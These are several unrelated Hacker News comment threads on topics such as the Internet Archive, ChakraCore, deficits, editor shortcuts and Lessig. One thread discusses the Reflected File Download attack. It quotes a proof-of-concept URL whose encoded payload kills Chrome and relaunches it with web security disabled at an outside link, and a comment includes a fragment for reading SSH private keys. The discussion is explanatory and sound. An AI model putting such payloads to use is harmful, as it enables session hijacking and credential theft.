<comment><USER90> "would be a tragedy of bigger magnitude than the destruction of the Library of Alexandria."

No, it would not even be close to that scale.

<comment><USER91> Well yes, the library was smaller.

<comment><USER92> And it was hardly the only one around at the time, many other libraries in many other Greek cities with Pergamum probably being the most notable.

<comment> kalium-xyz The same can be said about the internet archive though.

<comment><USER93> Can it? I don't know of any other public internet archive anywhere near the scale of the Wayback Machine.

<comment> kalium-xyz Its not an argument on the scale of the operation but rather if alternatives exist. I am merely stating that burning down a library is not less of a loss if an alternative exists, especially seeing that you'd need to find the new archive and get awareness out about its new location.

</comment></comment></comment></comment></comment></comment></comment><comment><USER94> At least the internet archive usually follows the law. When IA is gone everyone will just go to libgen which actively opposes copyright. Not only that but a bunch of history will be lost and source links on Wikipedia will break.

IMO: most publishers are worthless anyway. I feel bad for authors but it's hard to sympathize with publishers.

</comment><comment><USER95> See also: [https://news.ycombinator.com/item?id=23491229](https://news.ycombinator.com/item?id=23491229)

<comment><USER96> That appears to mostly overlap with the current story, so we'll merge the threads. Thanks!

</comment></comment><comment><USER97> Hello

</comment><comment><USER98> To appease publishers? How about so they can do right by the many authors out there who are still able to sell books through Powell's, Amazon or other local book sellers?

<comment><USER99> When America fixes copyright to be life of the author only, I will agree with your concerns.

<comment><USER100> Life of the author seems potentially too short. What if an author is struck down early? Shouldn't their family left behind be able to enjoy some of the profits for a period of time?

<comment><USER12> Indeed. A fixed duration would be preferable for that and many other reasons.

<comment><USER101> The constitutional requirement is for "limited times", and current law is not.</comment></comment></comment></comment></comment>


ChakraCore 1.4 includes cross-platform JIT and experimental WebAssembly support - <AUTHOR> https://github.com/Microsoft/ChakraCore/wiki/Release-Notes#v140 <comment><USER2> Nice! This is awesome how WebAssembly gets implemented by all vendors.</comment>


Ask HN: Is there a way to distinguish a sunset from a sunrise? - <AUTHOR> <comment><USER2> Air is denser at dawn than at dusk, changing scattering profile.

[https://physics.stackexchange.com/questions/258553/differenc...](https://physics.stackexchange.com/questions/258553/difference- between-sunrise-and-sunset?rq=1)

</comment><comment><USER3> On a photo or out there? Out there you could wait for a short while and see if the Sun has risen/set further.</comment>


Ask HN: Would you back out on a poor product after a significant investment? - <AUTHOR> The business I work for, has decided to invest in a complicated solution to meet our ever demanding customer requirements. We took advise from our ERP provider as the solution that we need must integrate tightly and we still need to use our ERP support for issues. We did look elsewhere but we felt a solution with backing from our ERP provider would be beneficial.
For the project to succeed, the business required to invest in two different types of semi-bespoke software, new hardware and a complete Wi-Fi infastructure change.
7 months into the project, a significant cost and many man hours of myself and consultants we have found the solution advised to us is not meeting our requirements. Some of this is because the way the business runs and some of this is because the company making of of the pieces of software is doing a really poor job.
The last consultant that arrived had an unbiased opinion on a different company who could do exactly what we required.
Would backing away and looking elsewhere for a solution be a wise idea?
The working software solution and the Wi-Fi could be carried forward, but the troublesome software and it's hardware would essentially be lost.
For the record, I have recommended to stay with the problematic software. The company developing it has promised they can deliver and I really can't tell the business owners that their money has gone to waste <comment><USER2> Don't tell the Owners their money went to waste, but explain to them exactly what you posted here and let them decide to chase the sunk cost fallacy or not.

Without knowing more about the exact nature of the problems with the software you are having I cannot make a recommendation either way from a software development perspective.

I will however say many consulting development companies will continue to promise they will deliver while continually bringing in change orders to the original statement of work "Because 'this' situation was not covered in the original SOW"

If you find the company doing more then 1, maybe 2, small change orders as things evolve in a project of 9-12 months I would just drop them as that tells me they did not properly study the problem and ask the correct questions in order to properly do a SOW, that is unless things in the project are actually changing rapidly / dramatically from the original RFP.</comment>


Show HN: iOS Promo Code Printing Service - <AUTHOR> http://www.easypromocodes.com/

<comment><AUTHOR> I created this EasyPromoCodes.com based on a question that I had asked on HN a few months ago (<http://news.ycombinator.com/item?id=4375707>).

I was looking for a site that would let me turn my iOS app promo codes into business cards to hand out at trade shows or other industry events.

After unsuccessfully looking for a similar service for some time I decided to build this site.

The site is built using the Moo.com API, PHP, Bootstrap, a Bootswatch theme, and the Google URL shortener.

Any suggestions or feedback you have would be welcome. I hope that this is useful to some of the other iOS developers out there.</comment>


Reflected File Download: A New Web Attack Vector - <AUTHOR> https://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view <comment><USER2> So to summarize:

(1) You can use semicolons to get some web services to ignore the end of a request URL and respond normally, while tricking browsers into downloading the response as a file with an arbitrary name. This allows you to send a victim to a mainstream site (Google or Bing, e.g.) and have them end up with a file with the name of your choice in their Downloads folder.

(2) If the web service responds with user-submitted data, you can potentially get the contents of that file to be a valid executable. For example the author demonstrates a JSON response that is also a valid Windows shell script.

(3) By combining these two exploits, the author speculates that you can trick users into executing files that they wouldn't execute if they were hosted at g00gl3.com or similar.

The last part I'm not totally convinced of -- are there examples where attackers gain a big advantage by having a downloaded file come from a trusted URL?

Even setting that aside the first two parts are pretty neat, and I wouldn't be surprised if there are other interesting ways to exploit them.

<comment><USER3> "Google downloaded a file for me. That's never happened before. Oh well, guess I better run it!"

<comment><USER4> You have to understand that, seen from the perspective of non-technical users, the Googles do weird unpredictable things _all the time_.

<comment><USER5> Exactly. People that have a hard time understanding this, should maybe spend some time helping non-technical users use their computers and carefully pay attention how they interact with it.

Help a friend clean up their adware-infested Win7 laptop. Just show them how to remove unwanted browser extensions, and use PC-decrapifier to mass- uninstall the crapware. Nothing too fancy, because it will take the better part of an afternoon or evening anyway, because 1) these computers will be _slow_ and most importantly 2) you're going to let _them_ do all the clicking and typing (they will learn a _lot_ , even if only more confidence in using their machine).

I don't like doing this because it always takes way more time than I planned, but if you do it right, the speed difference will make them really really happy and thankful for months :)

Anyway the point is, if you pay careful attention, you will first-hand notice all the idiosyncrasies with which non-tech people use their machines. It's fascinating, in a way.

<comment><USER6> _Help a friend clean up their adware-infested Win7 laptop._

If you do this, then you become the "go to guy" whenever they have a problem - there is precious little appreciation of the amount of time and effort it takes to clean up a system.

I now claim "it's a specialization" and give out the contact info of local people who do this for a living. After the end-user has to drop a couple of bills every few months to get the dancing gorilla removed, they finally begin to pay attention - otherwise they treat the free advice you gave them as valued at what it cost.

<comment><USER5> I understand this worry. I only _occasionally_ do this sort of thing for friends that I know (or expect) to appreciate the amount of time and effort enough to not consider me just a "go to guy".

Yes this sort of clean-up job costs at least 3 hours or so (because the machine will be slow).

So I make sure whoever I'm doing it for is present during this time. I'm not going to sit in a cold home office room battling spyware alone (that's setting yourself up for the scenario you describe). It's also not very difficult work (or interesting), so I can easily do it while having a beer or a smoke, chatting, enjoying music, having dinner with my friends. Often that means there's more than one tech-savvy person around, and we can take turns pressing the "Next" and "Are you sure?" buttons, and have some fun making up weird stuff for the occasional "Please tell us why you're no longer using Power Clicky Pro Live Updater" feedback forms. In the mean time I give them some general computer advice (Windows key shortcuts you thought everybody knew), replace Acrobat with SumatraPDF, WinRAR with 7-Zip, etc.

In return I can call upon them for other favours. As I said, often I get the occasional "thank you our laptop is still much faster", months afterwards.

If they won't appreciate what you do, the time you spend applying your knowledge on their problem, then by all means, don't do it. Compare it with a friend helping you out with some technical DIY task at home, applying their knowledge, time and tools for your benefit. Does that automatically make them the "go-to guy" for fixing your sink or toilet? Just make sure people understand what you're doing for them is in the same category.

If you find that hard to explain, or make clear, then don't do it. Good call on giving them contact info for local shops that will do it for money, it's a great alternative, better than nothing. But just like some random friend who knows plumbing or electricity, even if that shop's hourly wage x time spent is perfectly fair (and it's often cheaper than that), I still have a weird feeling telling my friends to pay $75 (or whatever) to get their machine cleaned.

</comment></comment></comment></comment></comment></comment><comment><USER7> I think the author is claiming that clicking on [https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?g...](https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy- ab&q=%22%7c%7c%74%61%73%6b%6b%69%6c%6c%20%2f%46%20%2f%49%4d%20%63%68%2a%7c%6d%64%7c%7c%73%74%61%72%74%20%63%68%72%6f%6d%65%20%70%69%2e%76%75%2f%42%32%6a%6b%20%2d%2d%64%69%73%61%62%6c%65%2d%77%65%62%2d%73%65%63%75%72%69%74%79%20%2d%2d%64%69%73%61%62%6c%65%2d%70%6f%70%75%70%2d%62%6c%6f%63%6b%69%6e%67%7c%7c) results in a file ChromeSetup.bat being downloaded, but in chrome and firefox the file downloaded is f.txt.

Has anyone tried this on other browsers?

EDIT:

Here is the portion of the paper explaining why this no longer works:

"However, a common implementation error could result in Reflected File Download from the worst kind. Content-Disposition headers SHOULD include a "filename" parameter, to avoid having the browser parse the filename from the URL.

This is the exact problem that multiple Google APIs suffered from until I reported it to the Google security team, leading to a massive fix in core Google components."

<comment><USER2> The author mentions a mitigation of specifying a filename in the Content- Disposition header, which that particular url actually does:

        Content-Disposition: attachment; filename="f.txt"

Perhaps Google has fixed the problem for that URL -- I would hope the author contacted them in advance.

<comment><USER8> Stories like these make me never want to make a http webservice again. HTTP(S) is just way too complicated for me to ever be confident I've done everything right. It's getting to the point where webservices are like crypto: only experts should touch them.

<comment><USER9> Being aware of exploits and protecting against them comes with the territory. Luckily there are things like owasp.org to help developers keep up on web security. However, security is hard and it can't be done absent mindedly. There is no getting around that.

<comment><USER10> If the standards were more strict, some of these issues would not exist. I see this as exploiting a lot of slop in protocols. It should not be possible to interpret a URL as anything but a URL, yet here it's being reflected back and interpreted as something else entirely.

<comment><USER11> It has nothing to do with the standards being strict; the standards can be as strict as they want. If the standards are strict and useless, no one will follow them, instead implementing something less strict and more useful.

For example, when downloading a file from a website, what default name should you use for it? There is a header to tell you, but not ever page supplies such a header; so the browser needs to do something. It chooses to pick the last component of the URL as that filename. However, URLs are somewhat more complex than you might expect, so this becomes more complicated and can lead to attacker controlled ways to manipulate this filename.

Now, you could make a more strict spec, for example by forbidding downloading files unless the filename is properly specified, or forbidding using any kind of default filename and making the user choose it themselves, or something of the sort. But if any browser vendor implemented this more strict spec, they would instantly annoy a lot of users who would find things breaking that used to work, and they would be likely to switch to another more permissive browser.

Security, compatibility, and robustness are hard factors to balance. Just blaming this on "slop in protocols" is a vast over simplification.

<comment><USER10> >> For example, when downloading a file from a website, what default name should you use for it? There is a header to tell you, but not ever page supplies such a header; so the browser needs to do something. It chooses to pick the last component of the URL as that filename.

Yeah, and that's slop in the protocol. If the header was required everything would still work, web sites would just have to fill in the header. What's easier to do, comply with a protocol where your site brakes if you don't, or to have swiss cheese and then make site developers learn a bunch of security best practices and hope they get it right?

Also in there is the good old "this site wants to blah blah" and ask the user to decide. If you have to ask, the answer is "No! fix your site so it's not on the user to decide". Broken certificates? Not my problem, browser should just say "sorry site security is busted" and leave it at that. It's an old debate, but AFIAC there is no debate, only lazyness.

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> _during the RFD research I discovered that all [Windows security] warnings are dismissed if one of the following strings appear in the filename:

\- Install

\- Setup

\- Update

\- Uninst_

That's pretty amazing – is this still the case? It's obviously a deliberate decision, and seems to totally negate the value of those warnings.

<comment><USER13> With programs that need UAC elevation, there's no "Internet zone" warning because there's already the UAC warning, and it would be rather annoying to have to press "Yes, really" on two warnings per program. I guess if you disable UAC, it's possible that you get no warning at all.

<comment><USER14> Do programs with names matching that pattern automatically request UAC elevation? Because the author doesn't mention that he received a UAC warning. If you are able to name an executable that way, and _not_ request UAC elevation, and therefore bypass the warning, it sounds like an issue.

<comment><USER15> Yes, they do.

However, anyone running something called ChromeSetup.bat would expect a UAC warning to come up since they are expecting to install something anyway.

I've actually run in to this issue myself when I had a program called "Patcher.exe" (an internal dev tool) that didn't require UAC elevation. Turns out that name was on the list. You can include a manifest in the executable to say that you explicitly don't require UAC elevation to prevent that.

<comment><USER16> And the page 18 of the document is even scarier: the name of the program is not even displayed -- the (bad) logic was obviously "normal users wouldn't know the difference."

</comment></comment></comment></comment></comment><comment><USER17> The gist:

 _" The URI specification[1] defines the ability to send parameters in the path portion of the URI by inserting the semicolon character (before the query portion that starts with a question mark "?"). Many Web technologies support this feature [a.k.a. "path parameters"]._

 _In simple words, if a web server accepts path parameters it does not really consider them to be a part of the path, which means we can inject any content, as it will be ignored. However, when it comes to determine the filename of a download the vast majority of Web browsers (all browsers but Safari) parse and set a filename from path parameters. "_

_[1][http://tools.ietf.org/html/rfc3986#section-3.3](http://tools.ietf.org/html/rfc3986#section-3.3) _

A fairly obscure feature of URIs, apparently Correctly handled by some web servers, but apparently overlooked by most browsers. Argh. Again.

</comment><comment><USER18> I found this presentation a bit more helpful to understand the concept

[https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif- Re...](https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected- File-Download-A-New-Web-Attack-Vector.pdf)

</comment><comment><USER19> This sounds basically the same as:

[http://lcamtuf.blogspot.com.au/2014/03/messing-around- with-d...](http://lcamtuf.blogspot.com.au/2014/03/messing-around-with- download.html)

<comment><USER20> A similar technique used to build the payload, but the linked paper does have a more sophisticated technique for setting the target's filename arbitrarily, without having to somehow craft a link with a "download" attribute on a target website.

</comment></comment><comment><USER21> I really enjoyed the tone of this paper. If only more technical articles can be written in a matter-of-fact voice like this.

</comment><comment><USER22> The linked document describes all the obvious parts that have been known foreer, but doesn't mention the interesting part: what webservices respond to user input (URL) by serving a previously nonexistent (server-side) document with a name derived from the URL.

<comment><USER23> There are a lot of URLs that echo back the content from the path/parameters. google.com/s/whatever mentions /s/whatever is not found for example.

</comment></comment><comment><USER24> It seems browsers are making a poor assumption here: that if HTTP/HTML say to download, the browser should immediately begin downloading the file to the user's computer.

The content-disposition filename is an effective hack to fix RFD. But as other commenters pointed out, just linking to evil.com/worm.jpg.exe achieves a similar effect to RFD, and can be just as effective on many users.

Windows has failed to warn users about what is happening when random executables are run (and RFD attacks that in particular). They should improve on this.

Perhaps the browsers should also change their behavior? They could prompt users with information about what is happening when a protocol specifies that a download should begin.

</comment><comment><USER25> If the downloaded payload would auto-execute without warning then this would be serious. Otherwise (if it needs intervention) it feels like a far fetched threat.

1) Aren't the people who would execute files that randomly download exactly the people who can never find the files they download?

2) Aren't the people who execute random stuff from the Internet also the people who won't be able to tell whether a URL feels trustworthy or not?

So by 1) you could just as well serve funny.jpg.exe to the victim, and by 2) you can reach a wide enough audience by serving it from your bad guy domain rather than trying to masquerade as Google.

<comment><USER26> I think the point of this exploit is that the download does not need to feel random from the user perspective.

A user can be prompted to update flash or chrome itself and then be served a (somewhat) legitimate looking file from the respective website.

</comment></comment><comment><USER27> > Having the ability to control some of the content that is returned by the > server in the response body is crucial for an RFD exploit to be successful.

This sounds like an XSS attack against downloaded files as opposed to rendered HTML.

</comment><comment><USER28> The bit about the semicolon separator was new to me. Are there many web services using the semicolon to send parameters?

In any case, it seems that the real bug is that browsers don't properly recognize `;` as a separator and can derive the resource name from what comes after. That's definitely a problem; it would be crazy if, for example, you could craft a querystring ending with "&/file.bat" and the browser would parse it as a file download.

<comment><USER29> Parameters I'm not sure, but there was a hot minute back before Rails 2.0 shipped where it was using them:

[https://github.com/rails/rails/commit/0cac2806a6fd9f1f63cdce...](https://github.com/rails/rails/commit/0cac2806a6fd9f1f63cdce8d3fd1e86cefb22c1f)

That 2007 commit rolled back to just using slashes.

<comment><USER30> I'm sure there's some sites, but even if the percentage is in the low single digits (i.e. a smallish but still very significant percentage), I still think that browsers is probably the right place for this to be fixed.

Getting everyone to go through every part of their app and properly harden up their url routing to protect against this seems unlikely to happen - it's simply too much work for many companies.

</comment></comment></comment><comment><USER31> I'm not sure I understand how this is "worm"-able - it still requires the user to manually execute the downloaded file? How is this any different from pasting a link to a "lol.jpg.exe" malware?

<comment><USER32> Compare "Are you sure you want to run 'lol.jpg', downloaded from hackers.com a minute ago?" With "Are you sure you want to run 'Windows Security Update 3.1', downloaded from update.microsoft.com a minute ago?". It would be even greater if that second alert showed that a certificate guarantees the file to come from a Microsoft site (would it, if this attack succeeded?)

The more you make your malware look like legit, the likelier that people fall for it. It's not a huge difference, but I guess more people would fall for the latter.

[and of course, it is unlikely that microsoft.com is suspectible to this attack. I don't even know whether it works anywhere at all anymore (from a comment elsewhere in this thread, Google fixed it on their site)]

</comment></comment><comment><USER33> "The user executes the file which contains shell commands that gain complete control over the computer."

Perhaps someone could verify the following.

If a user is logged in without privileges (not the admin user for example on Mac but a "standard user") then there is no (is there?) way to "gain complete control over the computer" without entering an admin user and password later in the process.

Typically I operate two (or more) logins under OSX. One is "standard" user and one is "admin" user. I only browse under "standard" user never under "admin" user. To me "admin" user really serves no purpose but needs to be there for obvious reasons.

This way I always have to enter the name of an admin user in order to install or make any system changes.

Further, from the command line I would need to do:

su <admin user name> [password]

and then

sudo -s [password]

<comment><USER34> Lots of interesting things can be done without root.

The author gives an example where he quits and re-launches Chrome with flag "\--disable-web-security" which disables the same-origin policy. He launches Chrome to a webpage which then steals your Gmail session cookies.

Most of the useful things you do on your computer, accessing all of your data, etc. doesn't require root.

<comment><USER35> `cat ~/.ssh/id_?sa | ...`

...but we all use unbruteforcable passphrases, right?

</comment></comment></comment><comment><USER36> Where is the file downloaded from if it wasn't uploaded to the targeted site?

<comment><USER36> Oh I see, the content of the file is in the url... Nvm my question!

</comment></comment><comment><USER37> Dont click on that link, it might contain a virus!</comment>


Federal Tax Revenue Will Barely Cover Mandatory Spending This Year - <AUTHOR> http://thesoundingline.com/taps-coogan-federal-tax-receipts-will-barely-cover-mandatory-spending-in-2019/ <comment><USER2> Blah blah... "With the economy strong, unemployment low, and tax receipts at record highs, now is the time to cut spending and bring the federal budget into order."

Uh, how about we just stop cutting taxes for people & corps that are in the top few %? These "trickle down" policies have been repeatably proven not to actually boost the economy. In many cases its been shown that we are actually boosting foreign economies more than our own.

Not only that but most "spending cuts" are really just backdoor tax hikes. Cut the road budget, give eminent domain easements to big corp/bank which builds a toll road and pockets 50%+ of the tolls as interest/profits. Cut higher education spending $1, raise tuition on students $2. The best ones are the ones like cutting spending on "women's health" that comes back as 2-3x in medicaid spending. It just goes on and on... One party is insane, the other is afraid of them and won't speak up for fear of the next election (despite actually being the losers for last last 40 years).

</comment><comment><USER3> I think we're going to hit economic recession sooner than we think simply because the US govt needs to borrow so much money to keep itself running.

I have an idea. How about the politicians who voted for this deficit be on the hook for deficits and have to liquidate their own assets to pay for the deficit first. Come to other citizens later.

</comment><comment><USER4> I can't quite understand how "spending money today, and passing the debts on to your grandchildren" became a conservative value. But every time federal taxes are cut, that's exactly what's happening. I'd like to think that they would be ashamed of themselves, even though I know it's not true.

<comment><USER5> Shame is not a trait the people doing this have. You can't appeal to them; you must treat them as irrational actors and act accordingly.

<comment><USER6> Is it economically rational, or irrational, to pass costs on to someone else if one can? It seems a little odd to pass costs to one's grandchildren, but hey, then it's "not my problem!" and they can vote to pass the costs to their grandchildren!

<comment><USER7> The costs are diluted by inflation and the children inherit the built infrastructure. If the diluted debt is less than the value of the infrastructure then everyone wins.

</comment></comment></comment></comment><comment><USER8> Oh no, the US owes all this money......in US dollars.

<comment><USER9> What a silly thing to say.

It's been less than what four decades since the US experienced rapid inflation during the oil embargo? These last few years of incredibly stable USD may have clouded your judgment, and this idea that we can just print money whenever we want is... beyond silly.

We may have more leeway than most as we are the world's largest economy, the world's largest military, and the largest portion of the global reserve currency but to dismiss this so arrogantly and easily? That's dangerous.

When things change, they tend to change very quickly. This is absolutely something we should be concerned about as we continue to allow our hijacked political system which benefits the few at the expense of the many to hand out humunguos tax breaks to the already inordinately wealthy among us.

<comment><USER7> Fed policy has significantly changed since then. Much of the stability is a result of the fed carefully controlling inflation. This is why they are tightening now.</comment></comment></comment>


Show HN: Learn Your Favorite Editor With Spaced Repetition - <AUTHOR> https://www.shortcutfoo.com/blog/introducing-interval-training-for-shortcuts/

<comment><USER2> So, I love anything spaced repetition and am addicted to Anki, but when it comes to productivity in your favorite editor, I feel the bigger problem is learning how to use various bits of functionality in a realistic setting and learning to see when you have a time saver at your disposal. Learning to automatically recognize "when in situation X, use Y with shortcut Z" rather than simply "Z is a shortcut for Y".

<comment><USER3> I agree, and the way I've been using shortcutfoo is, when I get a new command in my fingers that I think I'll really use, I immediately stop drilling on the website, hop over to vim and actually _use_ it a few times. That's been a good combination for me.

</comment></comment><comment><USER3> An unsolicited endorsement: I switched from TextMate to vim/tmux in February, and shortcutfoo.com cut my vim curve down by many weeks. Later I also started using it for git, even though I've been on git for years, and already have several new git tricks I didn't know before. I've been recommending it ever since -- great service guys!

It's like a tools kata for my fingers. I run a few reps most mornings just to get warmed up.

</comment><comment><USER4> I've had an account for a while and it definitely has helped my Vim-foo, one of the few little cutesy services I've actually paid money for. It's somewhat relaxing and the fact that it's not some kind of monthly payment pulled me in. The database of shortcuts grows all the time as well. If you are considering trying it out I recommend it.

<comment><USER5> I was just thinking the exact opposite. I am really not convinced that the site can be maintained indefinitely for a $15 one-off payment per user. And when it inevitably closes down I will feel cheated out of the "lifetime" of service I paid my $15 for, whereas I would have been happy to pay $60 a year for it. ($5/month would also ring alarm bells for me, even though the total price would be the same.)

</comment></comment><comment><USER6> I'm having a problem with not overriding the browser shortcuts. One of the shortcuts I'm supposed to be learning is shift-ctrl-T, but when I type that in a plugin window opens instead (in this case LastPass). And ctrl-U (soft undo in sublime text) sometimes opens view source.

<comment><USER7> It definitely does not play well with Vimperator (firefox), which is unsurprising.

Looking forward to trying this out though.

</comment></comment><comment><USER8> I've been hoping that there was a text editor that integrated a learning aid like this at the beginning, which consciously tried to eliminate the need for "10 great keyboard shortcuts of xxx editor you didn't know about" posts on the internet

</comment><comment><USER9> Not bad, but doesn't really solve this problem. I'm fluent in emacs, but I'm slow with the drilling. The reason is that when I type the shortcut when I think about what I want to do. This test makes you associate the text you see with the shortcut that you type, which is different from associating an action that you want to do with the correct shortcut.

The other issue was that several of the shortcut key controls created unintended consequences in the browser.

</comment><comment><USER10> Well done. Reminds me a lot of when I was learning to touch type(I think it was called Typing Tutor). I'm going to pay at least for the smallest plan.

</comment><comment><USER11> If you make a typo in a command and try to backspace it marks it as wrong, gives you the next, and potentially marks several as wrong until you notice that you can't backspace.

Is that intentional?

Otherwise, had a very quick play and it's nicely produced, but I can't assess its efficacy just now. Have bookmarked - looks interesting.

</comment><comment><USER12> I would think one would be better off learning how to use one of the Spaced Repetition applications like Anki, Supermemo, etc. Then you could learn editor shortcuts, programming language syntax and semantics, tool and application commands, and anything else you want to that fits into the flashcard model of instruction.

</comment><comment><USER13> Interesting site. Good timing too as I am just starting to move from VIM to WebStorm. Not exactly sure how well this works though. I find that the best way to learn a new editor is just to immerse oneself in the editor and go through a week or two of editing, either with your own project or just follow a book/video.

</comment><comment><USER14> I'm using Anki (<http://ankisrs.net/>) which is a similar system (spaced- repetition/flashcards). I'm using the "fat" client, although it syncs to all my desktops. I only have one "deck" at the moment (vim) and am building it up. I think it is helping me a lot.

</comment><comment><USER15> I'm getting boxes for alt and control instead of a character. Windows 8 x64, Chrome version 29.0.1521.3 dev-m</comment>


What Larry Lessig Didn't Get - <AUTHOR> http://www.cato-unbound.org/2009/05/04/declan-mccullagh/what-larry-didnt-get/

<comment><USER2> Summary:

What Lessig wants is mostly right, but by refusing to trust the market to get there, Lessig is willing to give power to DC politicians at the expense of property rights and individual choice. Historically that seems like a bad recipe for both freedom and innovation.

Lessig wants to believe that politicians could become "technocratic philosopher kings," while failing to appreciate the systemic factors that ensure that politicians will always be among the least noble and least qualified to make the required judgments.

<comment><USER3> When you summarize the article this way (and I think this is a correct summary), it's pretty obvious that Declan is misrepresenting Lessig's current position.

Declan is probably right that this was _once_ Lessig's view. Larry saw the frightening possibility that software coders could use their powers to restrict our rights and freedoms, and saw protective legislation as the best remedy.

As Declan points out, it is clear that legislators will _not_ remedy this problem. What Declan omits, however, is that Lessig figured this out too, several years ago.

His current view is that there is another force to counteract this encroachment on consumers' rights: the consumers themselves. Ultimately, like a good lawyer, Lessig still believes that the law is the solution to protecting rights. But rather than hoping for the law to come down from on high, he hopes to harness grassroots power to voice change from below.

This is what prompted his recent shift in academic focus to fighting "corruption" in politics, through his "Change Congress" movement. His argument is that if Congress is too "corrupt" (he has a special definition of "corrupt," I won't get into that), then good laws will never come about.

(Here's a link: <http://change-congress.org/> )

<comment><USER2> I would agree with that. So here's what Lessig doesn't get now: he thinks that the _money_ going into politics is the problem. It's not, it's just a symptom. The immense centralized _power_ that Congress has to pick winners and losers, and to grant special favors, is the problem. As long as that power exists, no law can stop the money from flowing to the politicians (and their families). The force at work here is that special interests get a positive return on investment by supplicating to those in power, because those in power can give them what they want at the expense of others.

</comment></comment></comment><comment><USER4> Although I'm a classical liberal (as in, I believe in markets rather than command economies), McCullagh would have us believe that private companies are uninterested in monopolies or locking in their customers - and while he provides examples of where lock-in has failed, it's alive and well in other spaces, such as cellphones. McCullagh cites Hollywood lobbyists' influence on copyright law, while skating over the question of how a libertarian approach would help - indeed, I suspect it would wind up as a land grab on the public commons, with the first to digitize getting ownership rights, much as a copyright photograph of an old painting gains rights for the photograph (even if it has no original content).

Though he's right about the weaknesses of slow-moving legislative supervision of fast-moving technology, his conviction that it'll just work itself out seems rather Pollyannaish. Michael Heller's _tragedy of the anti-commons_ analyzes the problems of fragmented ownership from an economic rather than a philosophical perspective, and points up some flaws in libertarian theory; [http://www.wdi.umich.edu/files/Publications/WorkingPapers/wp...](http://www.wdi.umich.edu/files/Publications/WorkingPapers/wp40.pdf)

<comment><USER5> The problem with your criticism of "private companies" is that they lack enforcement power. Monopolies are nearly impossible without government backing. The only non-statist monopoly I can see would be a secure trade secret - like the formula for Coke or the Shipstones of Heinlein's novel "Friday", and even they are vulnerable to substitutes.

As for the anti-commons, I can't see that it applies here, since the networks are already private as are all "creative works" (since automatic copyright has existed since the 1978 revision).

<comment><USER6> "Monopolies are nearly impossible without government backing."

As they say on Wikipedia, "citation needed".

<comment><USER7> Feel free to provide a counter-example.

As to the examples, every cable-service monopoly in the US has govt backing. The postal service monopoly has govt backing. Intel uses patents (read govt backing) to limit the number of x86 producers. The old AT&T's long distance monopoly had govt backing, lost it, and then sprint and others started.

Standard Oil almost made it without govt backing, but we'll never know if they could have held.

<comment><USER6> Given that, in the US, government intervention mostly seems to consist of _busting_ monopolies, I'm just a bit wary of the statement that no monopoly can exist without government support.

It seems to me that it is in the nature of a "true" free-market enterprise to seek, as much as possible, to neutralize the operation of the market in order to ensure the enterprise's survival. And history seems to provide some examples of such -- all manner of cartels, trusts, etc. have been devoted to nothing more or less than bringing the operation of the free market to an end, as quickly and effectively as possible.

<comment><USER7> > Given that, in the US, government intervention mostly seems to consist of > busting monopolies,

Oh really? How are you measuring "mostly"? I see millions of patents. I see thousands of govt franchises.

> I'm just a bit wary of the statement that no monopoly can exist without > government support.

I'm confused why anyone would think that a govt that "busts monopolies" couldn't also support them.

> all manner of cartels, trusts, etc. have been devoted to nothing more or > less than bringing the operation of the free market to an end, as quickly > and effectively as possible.

You're forgetting that a cartel or trust can only "regulate" behavior of its members. It can't affect transactions between third parties unless govt steps in.

Yes, one can imagine a situation where a cartel owns all of the relevant resource, but, apart from patents, that's quite rare.

<comment><USER6> "I see millions of patents. I see thousands of govt franchises."

Ah, yes, the vaunted trick of slyly redefining a term out from under the interlocutor. While it is true that a patent is an exclusive right and thus a form of monopoly, this type of monopoly is not what I was talking about and you were well aware of that. If you're so distrustful of your own arguments that you have to resort to rhetorical tricks to try to pull attention away from them, perhaps you should spend some more time thinking about the issue.

"I'm confused why anyone would think that a govt that "busts monopolies" couldn't also support them."

And I never suggested that a government cannot support a monopoly, or that no government has ever done so. This really makes you look desperate, you know? You start by trying the old redefinition trick, and then proceed into stuffing words into my mouth.

"You're forgetting that a cartel or trust can only "regulate" behavior of its members. It can't affect transactions between third parties unless govt steps in."

A cartel cannot enforce any part of its own operating agreements on third parties, true, but that's not necessary to the creation or maintenance of a monopoly and so is no counter-argument. A single large established entity, or a group of such working together, can easily manipulate factors such as supply chains, prices paid by the ultimate customers, etc. to cripple or destroy any competition.

What's more, parts of the history of the US abound with examples of precisely that behavior -- non-governmental entities subverting or disabling the operation of the free market for their own benefit. Do you dispute this?

<comment><USER8> > Ah, yes, the vaunted trick of slyly redefining a term out from under the > interlocutor. While it is true that a patent is an exclusive right and thus > a form of monopoly, this type of monopoly is not what I was talking about > and you were well aware of that

You should probably describe the type of monopoly you are referring to, then. I have a general idea what you are talking about, but not a perfect one.

> What's more, parts of the history of the US abound with examples of > precisely that behavior -- non-governmental entities subverting or disabling > the operation of the free market for their own benefit. Do you dispute this?

You should definitely give a few examples, it's not exactly clear what you're talking about. For the record, I think that you're basically right: it's quite possible to create a monopoly without government intervention (De Beers, Microsoft, US Steel at one time.) However, it's difficult to maintain one (previous examples notwithstanding.)

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> Now that we know for sure any stripe of pol will sell out for power; we know opensource is the only reasonable way to maintain the creative commons. Our government is broken (bought and paid for by the Goldman Sachs Mafia) and will stay that way for the foreseeable future. We should have no expectations for a system that empowers the stupid, ignorant and greedy; and given the failures of all other attempts to supplant this failed thing, there is hope and change only in individual action: like donating code to the pleroma.

</comment><comment><USER10> Sounds like someone is upset that Lessig is still smarter than him.</comment>


Women in tech suffer because of American myth of meritocracy - <AUTHOR> https://theconversation.com/women-in-tech-suffer-because-of-american-myth-of-meritocracy-94269 <comment><USER2> I don't get it. Are they saying people fail to practice the meritocracy that they preach, but select people by their genitals, or are they saying meritocracy is the problem and selecting by genitals rather than skill is what they actually want?

</comment><comment><USER3> I never though of tech sector being about meritocracy. Only Meritocracy I know is in sports where pro athletes are being millions of dollars for their sports skills.</comment>


Being German is no laughing matter - <AUTHOR> https://www.1843magazine.com/ideas/the-daily/being-german-is-no-laughing-matter <comment><USER2> Given the authors use of anecdotes to support his conclusion, I'll offer my counter.

I've traveled to Germany from the US for work many times. One flight from San Francisco to Munich was particularly memorable. It was a United weekend flight. At the gate I heard more German that English being spoken, so I am confident that among the passengers were many Germans.

